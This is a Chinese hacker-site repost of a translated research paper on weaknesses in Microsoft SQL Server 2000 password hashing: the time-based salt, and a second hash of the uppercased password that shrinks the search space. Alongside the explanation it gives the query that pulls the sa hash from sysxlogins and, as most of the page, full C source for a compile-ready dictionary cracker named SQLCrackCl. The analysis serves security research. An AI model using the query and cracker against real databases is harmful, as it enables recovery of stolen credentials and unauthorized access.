您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客编程 >> 正文

破解MSSQL的HASH密码
骇客基地 阅读: 时间:2005-9-19 13:25:27 来源:www.hookbase.com
   原文名称 :Microsoft SQL Server Passwords (Cracking the password hashes)
原文地址 :http://www.ngssoftware.com/papers/cracking-sql-passwords.pdf
作者 :David Litchfield <david@ngssoftware.com>
 
Term   : FreeXploiT 
 
Author : ALLyeSNO
 
Date   : 2005-3-25
翻译:ALLyeSNO <shellget@hotmail.com> http://blog.csdn.net/freexploit
参考文章:flashsky《浅谈SQL SERVER数据库口令的脆弱性》
 
SQL服务器是怎样储存密码的?
 
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。通过研究我们可以发
 
现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。
 
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql
 
服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后
 
文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)
 
SQL的密码hash看起来是怎样的呢?
 
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:
 
select password from master.dbo.sysxlogins where name='sa'
 
屏幕会返回类似下面这行字符串的东东。
 
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF40
57056D9B 
 
这是我机子上登录密码的hash。
 
通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?
 
1.时间
 
首先我们使用查询 select pwdencrypt() 来生成hash
 
select pwdencrypt('ph4nt0m')


生成hash
 
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279B
A19EFE77
 
ok再一次 select pwdencrypt('ph4nt0m')
 
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3D
BB106CFB
 
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。
 
那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,
 
它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式,
 
是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。
 
2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它
 
都能弄出来)
 
使用查询
 
select pwdencrypt('ALLYESNO')
 
我们将得到hash
 
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91
 
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来
看。
 
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
 
现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两
 
次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破
 
解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字
 
符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破
 
解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经


提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和
 
符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密
 
以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky
 
文章中一个小小的bug)
 
 
补充key 
 
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密
 
码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储
 
存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。
 
上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。
 
这个key 4C61CD2D 由以下阐述的方法生成。
 
time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子
 
并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。然后sql
 
服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1。这个过程将会再运行一次并
 
生成另一个key我们叫他key2。两个key连在一起就生成了我们用来加密密码的补充key。
 
密码的散列法 
 
用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:
 
{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
 
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生
 
成两个hash
 
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
 
验证过程
 
用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例
 

子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加
 
密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。
 
SQL服务器密码破解
 
我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行
 
破解,这比猜测小写字母要来得容易。
 
一个命令行的MSSQL服务器HASH破解工具源代码 


/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
//  optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
//  Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>

FILE *fd=NULL;
char *lerr = "\nLength Error!\n";

int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);

int main(int argc, char *argv[])
{
           int err = 0;

           if(argc !=3)
                     {
                               printf("\n\n*** SQLCrack  *** \n\n");
                               printf("C:\>%s hash passwd-file\n\n",argv[0]);
                               printf("David Litchfield (david@ngssoftware.com)\n");
                               printf("24th June 2002\n");
                               return 0;
                     }

           err = OpenPasswordFile(argv[2]);
           if(err !=0)
           {
             return printf("\nThere was an error opening the password file %s\n",argv[2]);
           }
           err = CrackPassword(argv[1]);

           fclose(fd);
           printf("\n\n%d",wd);

           return 0;
}

int OpenPasswordFile(char *pwdfile)
{
          fd = fopen(pwdfile,"r");
           if(fd)
                     return 0;
           else
                     return 1;
}

int CrackPassword(char *hash)
{

           char phash[100]="";
           char pheader[8]="";
           char pkey[12]="";
           char pnorm[44]="";
           char pucase[44]="";
           char pucfirst[8]="";
           char wttf[44]="";
           char uwttf[100]="";
           char *wp=NULL;
           char *ptr=NULL;
           int cnt = 0;
           int count = 0;
           unsigned int key=0;
           unsigned int t=0;
           unsigned int address = 0;
           unsigned char cmp=0;
           unsigned char x=0;
           HCRYPTPROV hProv=0;
           HCRYPTHASH hHash;
           DWORD hl=100;
          unsigned char szhash[100]="";
           int len=0;

           if(strlen(hash) !=94)
                    {
                              return printf("\nThe password hash is too short!\n");
                    }

          if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
                    {
                              hash = hash + 2;
                              strncpy(pheader,hash,4);
                              printf("\nHeader\t\t: %s",pheader);
                              if(strlen(pheader)!=4)
                                        return printf("%s",lerr);

                              hash = hash + 4;
                              strncpy(pkey,hash,8);
                              printf("\nRand key\t: %s",pkey);
                              if(strlen(pkey)!=8)
                                        return printf("%s",lerr);

                              hash = hash + 8;
                              strncpy(pnorm,hash,40);
                              printf("\nNormal\t\t: %s",pnorm);
                              if(strlen(pnorm)!=40)
                                        return printf("%s",lerr);

                              hash = hash + 40;
                              strncpy(pucase,hash,40);
                              printf("\nUpper Case\t: %s",pucase);
                              if(strlen(pucase)!=40)
                                        return printf("%s",lerr);

                              strncpy(pucfirst,pucase,2);

                              sscanf(pucfirst,"%x",&cmp);
                    }
           else
                    {
                              return printf("The password hash has an invalid format!\n");
                    }

           printf("\n\n        Trying...\n");

           if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                               ,0))
           {
                    if(GetLastError()==NTE_BAD_KEYSET)
                              {
                                        // KeySet does not exist. So create a new keyset
                                        if(!CryptAcquireContext(&hProv,

                                                                     NULL,
                                                                       NULL,
                                                                       PROV_RSA_FULL,
                                                                       CRYPT_NEWKEYSET ))
                                                   {
                                                             printf("FAILLLLLLL!!!");
                                                             return FALSE;
                                                   }

                              }

           }

           while(1)
                    {

                              // get a word to try from the file
                              ZeroMemory(wttf,44);

                              if(!fgets(wttf,40,fd))
                                 return printf("\nEnd of password file. Didn't find the password.\n");

                              wd++;

                              len = strlen(wttf);
                              wttf[len-1]=0x00;

                              ZeroMemory(uwttf,84);

                              // Convert the word to UNICODE
                              while(count < len)
                                         {
                                                   uwttf[cnt]=wttf[count];
                                                   cnt++;
                                                   uwttf[cnt]=0x00;
                                                   count++;
                                                   cnt++;
                                         }
                              len --;

                              wp = &uwttf;
                              sscanf(pkey,"%x",&key);
                               cnt = cnt - 2;

                              // Append the random stuff to the end of
                              // the uppercase unicode password
                              t = key >> 24;
                              x = (unsigned char) t;

                              uwttf[cnt]=x;
                              cnt++;

                              t = key << 8;
                              t = t >> 24;
                               x = (unsigned char) t;
                               uwttf[cnt]=x;
                               cnt++;

                               t = key << 16;
                               t = t >> 24;
                               x = (unsigned char) t;

                               uwttf[cnt]=x;
                               cnt++;

                               t = key << 24;
                               t = t >> 24;
                               x = (unsigned char) t;
                               uwttf[cnt]=x;
                               cnt++;

                    // Create the hash

                    if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
                               {
                                         printf("Error %x during CryptCreatHash!\n", GetLastError());
                                         return 0;
                               }

                    if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
                               {
                                         printf("Error %x during CryptHashData!\n", GetLastError());
                                         return FALSE;
                               }

                    CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);

                    // Test the first byte only. Much quicker.
                    if(szhash[0] == cmp)
                               {
                                         // If first byte matches try the rest
                                         ptr = pucase;
                                         cnt = 1;
                                         while(cnt < 20)
                                         {
                                                   ptr = ptr + 2;
                                                   strncpy(pucfirst,ptr,2);
                                                   sscanf(pucfirst,"%x",&cmp);
                                                   if(szhash[cnt]==cmp)
                                                             cnt ++;
                                                   else
                                                   {
                                                             break;
                                                   }
                                         }
                                         if(cnt == 20)
                                         {

                                                   // We've found the password
                                                   printf("\nA MATCH!!! Password is %s\n",wttf);
                                                   return 0;

                                        }
                              }

                              count = 0;
                              cnt=0;

                    }

           return 0;
}

 
今天广告
参与评论:
注意事项:
【破解MSSQL的HASH密码】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号